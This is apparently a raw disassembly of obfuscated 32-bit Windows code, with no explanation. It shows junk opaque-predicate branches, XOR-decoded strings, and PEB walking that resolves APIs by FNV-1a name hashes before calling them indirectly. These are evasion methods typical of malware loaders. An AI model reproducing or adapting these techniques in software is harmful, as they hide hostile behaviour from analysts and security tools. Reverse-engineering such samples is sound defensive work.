and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a36a0]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42b4a4
cmp dword [0x8b00e4], 0
je 0x42f7ee
mov eax, dword [0x7a3630]
mov dword [ebp - 0x38], eax
mov ax, word [0x7a3634]
mov byte [ebp - 1], 0
mov word [ebp - 0x34], ax
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 5
jae 0x42c564
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42b864
xor eax, eax
je 0x42b580
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3688]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42b63a
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42b63a
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42b6dd
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42c235
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42bbca
xor eax, eax
je 0x42b8e6
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42beed
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42c553
xor eax, eax
je 0x42c26f
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 5
jb 0x42b543
lea eax, [ebp - 0x37]
mov byte [ebp - 0x38], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
je 0x42f700
mov eax, dword [0x7a3614]
mov dword [ebp - 0x48], eax
mov ax, word [0x7a3618]
mov word [ebp - 0x44], ax
mov al, byte [0x7a361a]
mov byte [ebp - 1], 0
mov byte [ebp - 0x42], al
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 6
jae 0x42d5d1
nop
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42c8d1
xor eax, eax
je 0x42c5ed
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42d2a2
lea eax, [ebp - 0x47]
mov byte [ebp - 0x48], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
je 0x42f700
mov eax, dword [0x7a35f0]
mov dword [ebp - 0x50], eax
mov ax, word [0x7a35f4]
mov word [ebp - 0x4c], ax
mov al, byte [0x7a35f6]
mov byte [ebp - 1], 0
mov byte [ebp - 0x4a], al
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 6
jae 0x42e641
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41bb50
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x480], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x480], 7
inc eax
cmp eax, 0x10
jl 0x42f720
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x42f7bb
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42f7bb
mov eax, dword [eax]
jmp 0x42f73a
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*2]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42fa95
xor eax, eax
je 0x42f82b
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
addsd xmm1, xmm1
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42f8d2
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x42f934
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42f934
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx edi, al
imul edi, esi
add edi, edi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
cmp dword [0x8b00e4], 0
je 0x430c20
mov eax, dword [0x7a34bc]
movq xmm0, qword [0x7a34b4]
mov dword [ebp - 0xa0], eax
mov al, byte [0x7a34c0]
mov byte [ebp - 1], 0
movq qword [ebp - 0xa8], xmm0
mov byte [ebp - 0x9c], al
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0xc
jae 0x430b13
nop dword [eax]
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42fe0a
xor eax, eax
je 0x42fb1d
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4307ed
lea eax, [ebp - 0xa7]
mov byte [ebp - 0xa8], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x430c20
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41bc20
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x490], xmm0
xor byte [ebp + eax - 0x490], 7
inc eax
cmp eax, 0x10
jl 0x430b52
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x430ec0
xor eax, eax
je 0x430c5a
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a36b8]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430d05
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov dword [ecx], eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
add dword [ebp - 0x2c], 4
xor eax, eax
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x4a0], xmm0
xor byte [ebp + eax - 0x4a0], 7
inc eax
cmp eax, 0x10
jl 0x430ee0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x430f7b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x430f7b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x40f0f6b9
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x430f71
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x430f42
mov eax, dword [ebp - 0x14]
cmp edi, 0x889b0f79
je 0x430f82
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x430f22
mov eax, dword [eax]
jmp 0x430efa
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x4a0]
add eax, edx
push ecx
call eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
add dword [ebp - 0x24], 4
xor eax, eax
mov byte [ebp - 1], 0
movups xmmword [ebp - 0x4b0], xmm0
xor byte [ebp + eax - 0x4b0], 7
inc eax
cmp eax, 0x10
jl 0x430fc1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x43105c
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x43105c
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x5584e11b
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x431052
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x431023
mov eax, dword [ebp - 0x14]
cmp edi, 0x15fc2667
je 0x431063
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x431003
mov eax, dword [eax]
jmp 0x430fdb
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x4b0]
add eax, edx
jmp 0x4220f1
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
mov byte [ebp - 1], 0
xor eax, eax
movups xmmword [ebp - 0x4c0], xmm0
xor byte [ebp + eax - 0x4c0], 7
inc eax
cmp eax, 0x10
jl 0x4310a0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x43113b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x43113b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0xb93b4fb2
mov dword [ebp - 0x14], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x431131
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x431102
mov eax, dword [ebp - 0x5c]
cmp edi, 0x6b012736
je 0x431142
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x4310e2
mov eax, dword [eax]
jmp 0x4310ba
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x4c0]
add eax, edx
push ecx
call eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x14
mov dword [ebp - 0x30], ecx
cmp ecx, dword [ebp - 0x64]
jb 0x4219c0
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret